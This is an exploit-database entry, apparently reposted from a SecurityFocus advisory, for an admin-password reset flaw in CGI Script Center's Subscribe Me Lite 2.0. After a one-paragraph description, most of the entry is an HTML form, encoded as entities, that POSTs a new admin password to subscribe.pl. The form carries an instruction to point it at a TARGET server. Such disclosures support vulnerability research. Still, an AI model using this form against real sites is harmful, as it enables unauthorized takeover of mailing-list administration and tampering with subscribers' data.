CGI Script Center Subscribe Me Lite 2.0 Administrative Password Alteration (2)

🗓️ 01 Jul 2014 00:00:00Reported by RootType

CGI Script Center Subscribe Me Lite 2.0 Admin Password Vulnerabilit


                                                source: http://www.securityfocus.com/bid/1607/info
 
Regardless of privilege level, any remote user can modify the administrative password for CGI Script Centers&#39; Subscribe Me Lite. This would grant the user full administrative privileges which includes addition or removal of users from mailing lists.


&#60;html&#62;
&#60;FORM ACTION=&#34;http://www.cgiscriptcenter.com/cgi-bin/subprodemo/subscribe.pl&#34; METHOD=&#34;POST&#34;&#62;
    &#60;CENTER&#62;&#60;BR&#62;
    &#60;TABLE BORDER=&#34;0&#34; WIDTH=&#34;400&#34;&#62;
      &#60;TBODY&#62;
      &#60;TR&#62;
        &#60;TD&#62;
        
        &#60;P&#62;&#60;B&#62;&#60;FONT FACE=&#34;verdana, arial, helvetica&#34;&#62;&#60;FONT COLOR=&#34;#FF0000&#34;&#62;Subscribe
          Me LITE&#60;/FONT&#62; Status: Admin Password Set Vulnerability Exploit&#60;/FONT&#62;&#60;/B&#62;&#60;/P&#62;
        &#60;CENTER&#62;&#60;FONT FACE=&#34;verdana, arial, helvetica&#34;&#62;&#60;FONTCOLOR=&#34;#FF0000&#34;&#62;n30&#60;/FONT&#62;&#60;/CENTER&#62;
        &#60;P&#62;&#60;FONT SIZE=&#34;-1&#34; FACE=&#34;verdana, arial, helvetica&#34;&#62;Please enter the NEW Admin Pass: .&#60;/FONT&#62;&#60;/P&#62;
        &#60;CENTER&#62;
        &#60;TABLE BORDER=&#34;0&#34;&#62;
          &#60;TBODY&#62;
          &#60;TR&#62;
            &#60;TD ALIGN=&#34;RIGHT&#34;&#62;&#60;INPUT TYPE=&#34;PASSWORD&#34; NAME=&#34;pwd&#34;&#62;&#60;/TD&#62;
            &#60;TD&#62;&#60;FONT SIZE=&#34;-2&#34; FACE=&#34;verdana, arial, helvetica&#34;&#62;password&#60;/FONT&#62;&#60;/TD&#62;
          &#60;/TR&#62;
          &#60;TR&#62;
            &#60;TD ALIGN=&#34;RIGHT&#34;&#62;&#60;INPUT TYPE=&#34;PASSWORD&#34; NAME=&#34;pwd2&#34;&#62;&#60;/TD&#62;
            &#60;TD&#62;&#60;FONT SIZE=&#34;-2&#34; FACE=&#34;verdana, arial, helvetica&#34;&#62;confirmation&#60;/FONT&#62;&#60;/TD&#62;
          &#60;/TR&#62;
          &#60;TR&#62;
            &#60;TD ALIGN=&#34;CENTER&#34;&#62;&#60;BR&#62;
            &#60;INPUT TYPE=&#34;SUBMIT&#34; NAME=&#34;setpwd&#34; VALUE=&#34;  Set Password  &#34;&#62;&#60;/TD&#62;
            &#60;TD&#62;&#60;BR&#62;
            &#60;INPUT TYPE=&#34;RESET&#34; NAME=&#34;&#34;&#62;&#60;/TD&#62;
          &#60;/TR&#62;&#60;/TBODY&#62;
        &#60;/TABLE&#62;&#60;/CENTER&#62;&#60;/TD&#62;
      &#60;/TR&#62;&#60;/TBODY&#62;
    &#60;/TABLE&#62;
&#60;FONTSIZE=&#34;1&#34; FACE=&#34;verdana, arial, helvetica&#34;&#62;&#60;B&#62;&#60;BR&#62; To Use Modify Source To Point to subscribe.pl on TARGET Server &#60;BR&#62;&#60;BR&#62;&#60;a href=&#34;mailto:[email protected]&#34;&#62;mail-me&#60;/a&#62;&#60;/CENTER&#62;&#60;/FORM&#62;
&#60;/html&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1